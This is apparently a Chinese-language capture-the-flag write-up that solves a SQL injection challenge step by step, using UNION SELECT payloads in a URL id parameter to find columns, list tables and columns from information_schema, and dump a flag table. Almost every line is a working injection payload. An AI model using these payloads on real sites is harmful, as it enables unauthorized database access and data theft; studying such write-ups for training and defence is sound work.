拿到题目是一篇日记,是GET型请求方式,我们可以直接在url栏中注入数据

判断注入类型,页面有回显所以不是整型注入
id = 1 and 1 = 2

id = 1'
页面无回显,判断为字符型注入,闭合符应该就是单引号

id = 1' order by 4--+
无回显,说明有三个字段

id=-1' union select 1,2,3--+
判断回显位为2,3

?id=-1'union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema = database()--+
爆出表名和数据库名称

?id=-1'union select 1,database(),group_concat(column_name) from information_schema.columns where table_name = 'fl4g'--+
查询flag表中的字段名

?id=-1'union select 1,database(),group_concat(fllllag) from note.fl4g--+
爆出flag值
